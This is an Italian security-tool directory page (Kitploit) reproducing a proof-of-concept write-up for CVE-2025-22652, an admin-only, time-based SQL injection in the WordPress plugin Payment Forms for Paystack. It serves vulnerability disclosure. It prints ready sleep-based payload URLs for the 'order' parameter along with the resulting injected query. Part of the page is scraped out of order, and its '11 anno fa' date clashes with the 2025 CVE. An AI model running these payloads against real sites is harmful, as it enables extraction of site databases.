Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-22652 — Prova di concetto di CVE-2025-22652 | Kitploit
Strumenti/GitHubGitHub/dottak/cve-2025-22652
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubdottak/cve-2025-22652

CVE-2025-22652

Prova di concetto di CVE-2025-22652

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-22652

1️⃣ Tipo di componente

Plugin WordPress

2️⃣ Dettagli del componente

Nome componente Payment Forms for Paystack

Versione vulnerabile <= 4.0.1

Slug del componente payment-forms-for-paystack

Link del componente https://wordpress.org/plugins/payment-forms-for-paystack/

3️⃣ OWASP 2017: TOP 10

Classe di vulnerabilità A3: Injection

Tipo di vulnerabilità SQL Injection

4️⃣ Prerequisito

Amministratore

5️⃣ Dettagli della vulnerabilità

👉 Breve descrizione

Nel plugin Payment Forms for Paystack versione 4.0.1 e precedenti, è presente una vulnerabilità di SQL Injection a causa di una validazione dell'input e una gestione dell'escape insufficienti per il parametro URL order durante la visualizzazione dell'elenco dei pagamenti nei moduli di pagamento. Tramite questa, un attaccante con privilegi di amministratore può estrarre tutte le informazioni dal database del sito target.

Sebbene questa vulnerabilità non consenta query dirette sui dati, i dati possono essere estratti utilizzando tecniche di SQL Injection basate sul tempo.

👉 Come riprodurre (PoC)

  1. Prepara un sito WordPress con il plugin Payment Forms for Paystack installato versione 4.0.1 o precedente.

  2. Poiché è necessario aggiungere un modulo Paystack per eseguire la ricerca, aggiungi un modulo dal menu di aggiunta moduli Paystack (wp-admin/post-new.php?post_type=paystack_form).

    image

  3. Dopo aver aggiunto il modulo, puoi controllare lo ShortCode e inserire l'ID dell'attributo di quello ShortCode nel parametro URL form dell'URL qui sotto prima di accedervi.

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
    

    Ad esempio, se [pff-paystack id="13"], accedi a http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)

    image

  4. Di conseguenza, poiché la clausola condizionale where 1=1 nel payload di SQL Injection inserito nel parametro URL order è sempre vera, puoi confermare che la funzione viene eseguita e la risposta arriva dopo 5 secondi.

👉 Informazioni aggiuntive (opzionale)

[Causa della vulnerabilità]

Quando si richiede l'URL in cui si verifica la vulnerabilità, viene chiamata la funzione get_payments_by_id nel file /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php.

A questo punto, il parametro URL order viene inserito direttamente nella query SQL ed eseguito sul database senza alcuna validazione dell'input o gestione dell'escape.

image

Pertanto, quando il payload di SQL Injection , (select sleep(5) from dual where 1=1) viene inserito nel parametro URL order, viene eseguita la query SQL mostrata di seguito. A questo punto, a seconda che la clausola condizionale nel payload sia vera o falsa, si verifica una differenza nel tempo di risposta, e questa differenza di tempo può essere utilizzata per estrarre i dati dal database.

root@kitploit:~
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)

[Implementazione ed esecuzione del codice PoC]

  1. Apri il codice PoC in un editor e inserisci l'indirizzo del sito WordPress e le credenziali dell'amministratore.

    image

  2. Quindi inserisci il seguente comando per eseguire il codice PoC.

    Modulo richiesto requests

    root@kitploit:~
    python poc.py
    

    image

6️⃣ Demo dell'exploit

video

7️⃣ Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2025-22652
Scarica lo strumento
sleep(5)

image

  • D'altra parte, se modifichi la clausola condizionale nel payload di SQL Injection inserito in order in where 1=2, puoi confermare che la risposta arriva immediatamente.

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
    

    Ad esempio, se [pff-paystack id="13"], accedi a http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)

    image